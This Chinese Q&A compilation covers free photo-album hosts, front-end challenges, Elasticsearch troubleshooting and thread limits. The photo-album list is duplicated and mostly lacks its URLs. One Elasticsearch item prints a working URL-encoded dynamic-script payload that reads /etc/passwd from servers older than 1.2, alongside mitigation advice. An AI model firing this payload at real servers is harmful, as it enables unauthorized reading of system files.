本文目录一览:
- 1、谁可以告诉我网络上哪个相册比较好用?
- 2、web前端开发面临的挑战主要是有哪些?
- 3、elasticsearch 为什么副本数多了 性能反而下降了
- 4、java多线程开多少上限量。
- 5、谁知道那里有可以上传硬盘里存的图片的网站?
- 6、linux 最多支持多少个线程
谁可以告诉我网络上哪个相册比较好用?
(接受的格式 图片JPG,GIF,PNG, 还有FLASH动画的SWF,单一文件大小限制1024KB)
这个网站也可以接受注册成为会员,这样就有相册。
(文件格式只能为jpg、jpeg、gif和png格式,且文件不能超过650KB)
(文件格式只能为jpg、jpeg、gif和swf格式,且文件不能超过1MB)
(文件格式只能为jpg、bmp、gif和png格式,对文件大小好像没有限制,不过超过250KB的会被自动缩小)
(文件格式只能为jpg、jpeg、gif和png式,且文件不能超过1MB。这个空间也可以注册使用,对每个人的限制为100MB)
(文件格式可以为jpg、jpeg、gif、bmp、png和swf格式,但文件不能超过1MB)
(max. size: 4 MB )
(max. size: 2MB )
还有MSN的Space 贴图也不错 批量上传
也可以打开MSN7.0后点你名字的那个地方找到[添加到我的个人空间]
富图网
注册:需要注册!
介绍:无限空间,支持论坛帖图,图片1M!用来帖漫画很不错的!
方法:选取图片——编辑——生成UBB代码
(呵呵~很方便吧!直接支持论坛帖图的相册)
现在发一些上传系统给大家,但漫画传到这里不能保证稳定和半年后能不能看哦
1.古城茶秀
注册:不需要注册!
介绍:文件的扩展名为jpg、gif、swf中的一种,文件质量小于500k
2.漫网专用图片上传区
注册:不需要注册!
介绍:以前很多人用的,后来这个不能用!现在又恢复上传!不能保证长时间保存
3.163相册
注册:需要注册!
介绍:容量无限,而且速度快、稳定!建议把漫画上传到这里!再发网址过来!不能外连
4.图图吧
注册:需要注册!
介绍:JPG,GIF,PNG格式文件都可,单幅图片限制250K
可以外连,但人多的时候也会看不到的!容量无限哦~
5.中国相册
注册:需要注册!(邮箱发密码)
介绍:100MB免费相册空间,相册连续6个月不使用,将删除!速度就一般
直接使用
6.dudu相册
注册:需要注册!
介绍:20MB免费相册空间.现在扩容中....
可以批量上传的^^!!(最大10Mb)
7.21cn相册
注册:需要注册!
介绍:8/10MB免费相册空间.(好像是8mb,不记得了,反正都是这个数字!!!)
如果你有21cn邮箱,那就不要浪费网络资源.....不用也是给你的!!
8.photobucket Albums
注册:需要申请!
每人只可以申请一个....不过只要ip与邮箱地址不同就可以申请了~~~明白我的意思吗??
--------对英文不熟悉可以找我,因为申请后要确认才可以使用....
介绍:我也不知道容量是多少,可以上传2,500张图片...(速度超快....)
一次过可以上传19张图片....
演示:
中文网络个人相册(按首字母排列)
21CN个人影集:
ttp://photo.21cn.com/
北方网10M免费电子相册:
碧聊网络相册:
福建热线网上冲印店:
公众信息网电子相册:
广州视窗电子相册:
快图美:
快乐海岸网络相册:
LYCOS激情相册:
漫网专用图片上传区:
Mushroom Grass:
PhotoStation(EPSON趣照乐园):
三星摄影专业门户网站:
SonicAlbum电子相册:
搜狐动漫频道:
天津热线电子相册:
TOM相册:
网城在线相册:
UMAXOL:
网易相册:
微软MSN相册:
新浪相册:
Yahoo!相册:
易拍网数码冲印:
忆美网:
银箭彩色-网路冲洗:
章鱼网:
英文网络个人相册
HKNet:
Kodak:
PBase Photo Database:
PhotoIsland:
Sony ImageStation:
Streamload:
Xprofile:
日文网络个人相册
2style.net:
イメージステーション:
オンラインラボ:
--------------------------------------------------------------------
1.名称:广州视窗名电子相册
网址:
;
注册:发E-mail密码注册,但是还算方便
空间:8M
图片限制:无限制,但是只支持JPG格式
介绍:老牌相册,上传速度很快,但是图片显示有点慢
2.名称:LYCOS激情相册(这个名字.......汗)
网址:
;
注册:需要邮箱为用户名,选择必填项目填写即可
空间:15M
图片限制:最大可上传1500K图片,可以上载JPG,GIF,PNG格式文件
介绍:上传速度与图片浏览速度都不错,空间大而且图片限制相对宽松,推荐使用!只是那个名称.......无限残念中......
3.名称:爱酷网络空间电子相册
网址:
;
注册:需要E-mail发密码以激活帐号
空间:不明
图片限制:1M以下
介绍:没有实际上传过,但是图片浏览的打开速度比较理想,有兴趣的不妨去看看
4.名称:21CN个人影集
网址:
;
注册:除了一般的注册程序现在又增加了快感护照注册,即确认E-mail地址
空间:8M
图片限制:大小为500K以下,宽为1280以内,可上传JPG和GIF,PNG格式的文件
介绍:大家都很熟悉的相册,上传速度与浏览速度不是很稳定,使用人数很多,改为注册快感护照后不能再无限制捏造邮箱地址榨取相册数......而且在改为快感护照注册前申请的相册里的图片不能在其他论坛上显示,只能就地浏览
5.名称:快乐海岸相册
网址:
;
注册:一般注册程序
空间:免费的只有5M
图片限制:2M以下,JPG与GIF格式文件,但是似乎也可以上传BMP文件,只要把扩展名改为JPG或者GIF就可以了——是该说它比较宽宏呢,还是没有识别能力......可以一次性上传1~8张图片。
介绍:上传速度根据上传图片数与大小而定,浏览速度颇快。本来是很不错的网络相册,在经过天杀的商业改革后,变成了只有成为付费用户,才能"不仅拥有更大的相册空间,而且能在其他论坛上贴图"......天杀的商业改革!
6.名称:e百姓电子相册
网址:
;
空间:2M
图片限制:不祥
介绍:详细情况不是很了解,上传速度比较慢,网站操作速度很快,浏览时的速度也还算理想,还有就是空间太小,不过在特别时期可以应急使用
8.名称:漫网专用图片上传区
网址:
;
空间:无限
图片限制:文件名不能含有中文或空格等符号,也不支持上传非动漫图片,格式为 Jpg, Gif, Png文件
介绍:只能在所属论坛上贴图的图片上传系统,所以不注册的话上传了图片也是白搭,为了防止盗链,也禁止图片外传,但是这个网站是很不错的(音乐尤其诱人丫!可惜一般用户只能试听),大家可以逛逛,在所属论坛贴图的时候用这个系统会比较方便,上传速度很快,上传完毕后直接显示图片url,偶尔会因为空间不稳定而不能使用,但是并没有大碍。
--------------------------------------------------------------------图片仓库:
;
不需要注册 而且空间也没有限制
1、浒山街道中心小学文件上传系统
;
2、上传文件模块(upload module) (支持png)[推荐]
;
3、刷屏集团(支持png)[推荐]
;
(这个是偶用得最久的一个)
4、文件上载(最大16m,但只保存5天)
;
5、文件上传系统
百度支持的格式
需要注册成会员 但也是免费的
然后就有自己的一个相册 上传完图片把图片点看 复制地址栏地址 直接贴到帖子上就可以看了 呵呵~~就是空间不大~~
够吗?
---------------转自百度贴吧刘云飞吧
参考资料:
web前端开发面临的挑战主要是有哪些?
web前端面临的挑战:
1.兼容性:市场上浏览器种类非常多,IE、Firefox、Chrome、Opera、还有众多的IE加壳浏览器,类似搜狗、傲游、360,再加上这些浏览器的移动终端版本。需要有Web标准,前端的知识大部分通用于各个浏览器,但还是会有历史遗留问题,不同版本的浏览器有不同的问题。
2.交互复杂度:和目前UI交互的要求比,浏览器引擎给我们的接口太低级了,稍复杂一点的UI效果,都要前端自己利用CSS和DOM去组合创造,前端的效果是通过CSS、DOM、JS三者配合起来呈现出来的,脱了任何一个技术都寸步难行,时刻要同时考虑多个方向的知识点。
3.代码可维护性:复杂度的提升直接影响代码的维护性。JS/CSS/HTML代码生命周期越来越长,也就越来越需要从代码质量、架构和工具上保证他们的可维护性。
4.技术更新快:前端技术更新速度十分快,html5,css3,nodejs,commonjs,按需加载等都是近几年出来的,我们必须与时俱进,不断加强技术水平,不断学习,不然就会被淘汰。
5.开发者思路:真正的前端开发挑战,还在于开发者的思路。
想要了解更多有关web前端的相关信息,推荐咨询千锋教育。千锋教育成立教研学科中心,推出贴近企业需求的线下技能培训课程。采用全程面授高品质、高体验培养模式,学科大纲紧跟企业需求,拥有国内一体化教学管理及学员服务,在职业教育发展道路上不断探索前行。
elasticsearch 为什么副本数多了 性能反而下降了
1.由gc引起节点脱离集群
因为gc时会使jvm停止工作,如果某个节点gc时间过长,master ping3次(zen discovery默认ping失败重试3次)不通后就会把该节点剔除出集群,从而导致索引进行重新分配。
解决方法:
(1)优化gc,减少gc时间。(2)调大zen discovery的重试次数(es参数:ping_retries)和超时时间(es参数:ping_timeout)。后来发现根本原因是有个节点的系统所在硬盘满了。导致系统性能下降。
2.out of memory错误
因为默认情况下es对字段数据缓存(Field Data Cache)大小是无限制的,查询时会把字段值放到内存,特别是facet查询,对内存要求非常高,它会把结果都放在内存,然后进行排序等操作,一直使用内存,直到内存用完,当内存不够用时就有可能出现out of memory错误。
解决方法:
(1)设置es的缓存类型为Soft Reference,它的主要特点是据有较强的引用功能。只有当内存不够的时候,才进行回收这类内存,因此在内存足够的时候,它们通常不被回收。另外,这些引 用对象还能保证在Java抛出OutOfMemory 异常之前,被设置为null。它可以用于实现一些常用图片的缓存,实现Cache的功能,保证最大限度的使用内存而不引起OutOfMemory。在es的配置文件加上index.cache.field.type: soft即可。
(2)设置es最大缓存数据条数和缓存失效时间,通过设置index.cache.field.max_size: 50000来把缓存field的最大值设置为50000,设置index.cache.field.expire: 10m把过期时间设置成10分钟。
3.无法创建本地线程问题
es恢复时报错: RecoverFilesRecoveryException[[index][3] Failed to transfer [215] files with total size of [9.4gb]]; nested: OutOfMemoryError[unable to create new native thread]; ]]
刚开始以为是文件句柄数限制,但想到之前报的是too many open file这个错误,并且也把数据改大了。查资料得知一个进程的jvm进程的最大线程数为:虚拟内存/(堆栈大小*1024*1024),也就是说虚拟内存越大或堆栈越小,能创建的线程越多。重新设置后还是会报那这错,按理说可创建线程数完全够用了的,就想是不是系统的一些限制。后来在网上找到说是max user processes的问题,这个值默认是1024,这个参数单看名字是用户最大打开的进程数,但看官方说明,就是用户最多可创建线程数,因为一个进程最少有一个线程,所以间接影响到最大进程数。调大这个参数后就没有报这个错了。
解决方法:
(1)增大jvm的heap内存或降低xss堆栈大小(默认的是512K)。
(2)打开/etc/security/limits.conf ,把soft nproc 1024这行的1024改大就行了。
4.集群状态为黄色时并发插入数据报错
[7]: index [index], type [index], id [1569133], message [UnavailableShardsException[[index][1] [4] shardIt, [2] active : Timeout waiting for [1m], request: org.elasticsearch.action.bulk.BulkShardRequest@5989fa07]]
这是错误信息,当时集群状态为黄色,即副本没有分配。当时副本设置为2,只有一个节点,当你设置的副本大于可分配的机器时,此时如果你插入数据就有可能报上面的错,因为es的写一致性默认是使用quorum,即quorum值必须大于(副本数/2+1),我这里2/2+1=2也就是说要要至少插入到两份索引中,由于只有一个节点,quorum等于1,所以只插入到主索引,副本找不到从而报上面那个错。
解决方法:(1)去掉没分配的副本。(2)把写一致性改成one,即只写入一份索引就行。
5.设置jvm锁住内存时启动警告
当设置bootstrap.mlockall: true时,启动es报警告Unknown mlockall error 0,因为linux系统默认能让进程锁住的内存为45k。
解决方法:设置为无限制,linux命令:ulimit -l unlimited
6.错误使用api导致集群卡死
其实这个是很低级的错误。功能就是更新一些数据,可能会对一些数据进行删除,但删除时同事使用了deleteByQuery这个接口,通过构造BoolQuery把要删除数据的id传进去,查出这些数据删除。但问题是BoolQuery最多只支持1024个条件,100个条件都已经很多了,所以这样的查询一下子就把es集群卡死了。
解决方法:用bulkRequest进行批量删除操作。
7.org.elasticsearch.transport.RemoteTransportException: Failed to deserialize exception response from stream
原因:es节点之间的JDK版本不一样
解决方法:统一JDK环境
8 . org.elasticsearch.client.transport.NoNodeAvailableException: No node available
1) 端口错
client = new TransportClient().addTransportAddress(new InetSocketTransportAddress(ipAddress, 9300));
这里9300 写成9200的话会No node available
要是你连的不是本机,注意IP有没有正确
2 )jar报引用版本不匹配,开启的服务是什么版本,引用的jar最好匹配(这个我没有去试,反正我的是匹配的)
3) 要是你改了集群名字,还有设置集群名字
Settings settings = ImmutableSettings.settingsBuilder().put("cluster.name", "xxx").build();
client = new TransportClient(settings).addTransportAddress(new InetSocketTransportAddress(ipAddress, 9300));
4)集群超过5s没有响应
解决方法1.设置client.transport.ping_timeout设大
2.代码内加入while (true) {
try {
bulk.execute().actionGet(getRetryTimeout());
break;
}
catch (NoNodeAvailableException cont) {
Thread.sleep(5000);
continue;
}
}
9.elasticsearch 近日被发现漏洞,可以远程执行任意代码,由于 elasticsearch提供了http接口,导致可能通过CSRF等方式借助恶意页面浏览发生攻击。
漏洞影响版本:
elasticsearch 1.2以下
测试代码:
http:// ESSERVERIP:9200/_search?source=%7B%22size%22%3A1%2C%22query%22%3A%7B%22filtered%22%3A%7B%22query%22%3A%7B%22match_all%22%3A%7B%7D%7D%7D%7D%2C%22script_fields%22%3A%7B%22%2Fetc%2Fhosts%22%3A%7B%22script%22%3A%22import%20java.util.*%3B%5Cnimport%20java.io.*%3B%5Cnnew%20Scanner(new%20File(%5C%22%2Fetc%2Fhosts%5C%22)).useDelimiter(%5C%22%5C%5C%5C%5CZ%5C%22).next()%3B%22%7D%2C%22%2Fetc%2Fpasswd%22%3A%7B%22script%22%3A%22import%20java.util.*%3B%5Cnimport%20java.io.*%3B%5Cnnew%20Scanner(new%20File(%5C%22%2Fetc%2Fpasswd%5C%22)).useDelimiter(%5C%22%5C%5C%5C%5CZ%5C%22).next()%3B%22%7D%7D%7Dcallback=jQuery111102863897154977554_1400571156308_=1400571156309
浏览器会返回/etc/passwd内容
解决方案:
1、在配置文件elasticsearch.yml里设置script.disable_dynamic: true
2、严格限制可访问elasticsearch服务的IP地址
参考:
重启后报503错误
详情如此下:
[2014-09-23 17:42:33,499][WARN ][transport.netty ] [Erik Magnus Lehnsherr] Message not fully read (request) for [4961353] and
action [discovery/zen/join/validate], resetting
[2014-09-23 17:42:33,522][INFO ][discovery.zen ] [Erik Magnus Lehnsherr] failed to send join request to master [[Red Lotus][
UG2WbJpDTHOB-EjzJFRsow][n025.corp.ncfgroup.com][inet[/10.18.6.25:9300]]], reason [org.elasticsearch.transport.RemoteTransportException:
[Red Lotus][inet[/10.18.6.25:9300]][discovery/zen/join]; org.elasticsearch.transport.RemoteTransportException: [Erik Magnus Lehnsherr]
[inet[/10.18.6.90:9300]][discovery/zen/join/validate]; org.elasticsearch.ElasticsearchIllegalArgumentException: No custom index metadat
a factory registered for type [rivers]]
问题原因:都采用默认集群名字的话,不同人不同I配置发到集群会进行连接并选Master,有时候可能因为IP限制连接不上。
更改:自己的测试服务尽量个性命名
java多线程开多少上限量。
1。java的线程开启,默认的虚拟机会分配1M的内存,但是在4G的windows上线程最多也就开到300多 ,是因为windows本身的一些限制导致。
2。虚拟机给每个线程分配的内存(栈空间)是由虚拟机参数-Xss来指定的,在不同平台上对应的默认大小可以 在oracle的官方文档上查询到:
/optionX.html
其中,Linux64位默认Xss值为256K,并非1M或10M
3。一个Java进程可以启动的线程数可以通过如下公式计算:
(系统剩余内存 - 最大堆容量Xmx - 最大方法区容量MaxPermSize)/ 最大栈空间Xss
这样,4G的服务器单个进程可以开多少线程,可以粗略计算出来,大概是5000个线程。
谁知道那里有可以上传硬盘里存的图片的网站?
(接受的格式 图片JPG,GIF,PNG, 还有FLASH动画的SWF,单一文件大小限制1024KB)
这个网站也可以接受注册成为会员,这样就有相册。
(文件格式只能为jpg、jpeg、gif和png格式,且文件不能超过650KB)
(文件格式只能为jpg、jpeg、gif和swf格式,且文件不能超过1MB)
(文件格式只能为jpg、bmp、gif和png格式,对文件大小好像没有限制,不过超过250KB的会被自动缩小)
(文件格式只能为jpg、jpeg、gif和png式,且文件不能超过1MB。这个空间也可以注册使用,对每个人的限制为100MB)
(文件格式可以为jpg、jpeg、gif、bmp、png和swf格式,但文件不能超过1MB)
(max. size: 4 MB )
(max. size: 2MB )
还有MSN的Space 贴图也不错 批量上传
也可以打开MSN7.0后点你名字的那个地方找到[添加到我的个人空间]
富图网
注册:需要注册!
介绍:无限空间,支持论坛帖图,图片1M!用来帖漫画很不错的!
方法:选取图片——编辑——生成UBB代码
(呵呵~很方便吧!直接支持论坛帖图的相册)
现在发一些上传系统给大家,但漫画传到这里不能保证稳定和半年后能不能看哦
1.古城茶秀
注册:不需要注册!
介绍:文件的扩展名为jpg、gif、swf中的一种,文件质量小于500k
2.漫网专用图片上传区
注册:不需要注册!
介绍:以前很多人用的,后来这个不能用!现在又恢复上传!不能保证长时间保存
3.163相册
注册:需要注册!
介绍:容量无限,而且速度快、稳定!建议把漫画上传到这里!再发网址过来!不能外连
4.图图吧
注册:需要注册!
介绍:JPG,GIF,PNG格式文件都可,单幅图片限制250K
可以外连,但人多的时候也会看不到的!容量无限哦~
5.中国相册
注册:需要注册!(邮箱发密码)
介绍:100MB免费相册空间,相册连续6个月不使用,将删除!速度就一般
直接使用
6.dudu相册
注册:需要注册!
介绍:20MB免费相册空间.现在扩容中....
可以批量上传的^^!!(最大10Mb)
7.21cn相册
注册:需要注册!
介绍:8/10MB免费相册空间.(好像是8mb,不记得了,反正都是这个数字!!!)
如果你有21cn邮箱,那就不要浪费网络资源.....不用也是给你的!!
8.photobucket Albums
注册:需要申请!
每人只可以申请一个....不过只要ip与邮箱地址不同就可以申请了~~~明白我的意思吗??
--------对英文不熟悉可以找我,因为申请后要确认才可以使用....
介绍:我也不知道容量是多少,可以上传2,500张图片...(速度超快....)
一次过可以上传19张图片....
演示:
中文网络个人相册(按首字母排列)
21CN个人影集:
ttp://photo.21cn.com/
北方网10M免费电子相册:
碧聊网络相册:
福建热线网上冲印店:
公众信息网电子相册:
广州视窗电子相册:
快图美:
快乐海岸网络相册:
LYCOS激情相册:
漫网专用图片上传区:
Mushroom Grass:
PhotoStation(EPSON趣照乐园):
三星摄影专业门户网站:
SonicAlbum电子相册:
搜狐动漫频道:
天津热线电子相册:
TOM相册:
网城在线相册:
UMAXOL:
网易相册:
微软MSN相册:
新浪相册:
Yahoo!相册:
易拍网数码冲印:
忆美网:
银箭彩色-网路冲洗:
章鱼网:
英文网络个人相册
HKNet:
Kodak:
PBase Photo Database:
PhotoIsland:
Sony ImageStation:
Streamload:
linux 最多支持多少个线程
默认情况下:
主线程+辅助线程 +253个自己的线程=255
含主线程和一个辅助线程,最多255个,即一个用户只能生成253个线程。
Linux最大线程数限制及当前线程数查询:
1、总结系统限制有:
/proc/sys/kernel/pid_max #查系统支持的最大线程数,一般会很大,相当于理论值
/proc/sys/kernel/thread-max
max_user_process(ulimit -u) #系统限制某用户下最多可以运行多少进程或线程
/proc/sys/vm/max_map_count
硬件内存大小
2、Java虚拟机本身限制:
-Xms #intial java heap size
-Xmx #maximum java heap size
-Xss #the stack size for each thread
3、查询当前某程序的线程或进程数
pstree -p `ps -e | grep java | awk '{print $1}'` | wc -l 或 pstree -p 3660 | wc -l
4、查询当前整个系统已用的线程或进程数
pstree -p | wc -l
1、 cat /proc/${pid}/status
2、pstree -p ${pid}
3、top -p ${pid} 再按H 或者直接输入 top -bH -d 3 -p ${pid}
top -H
手册中说:-H : Threads toggle
加上这个选项启动top,top一行显示一个线程。否则,它一行显示一个进程。
4、ps xH
手册中说:H Show threads as if they were processes
这样可以查看所有存在的线程。
5、ps -mp PID
手册中说:m Show threads after processes
这样可以查看一个进程起的线程数。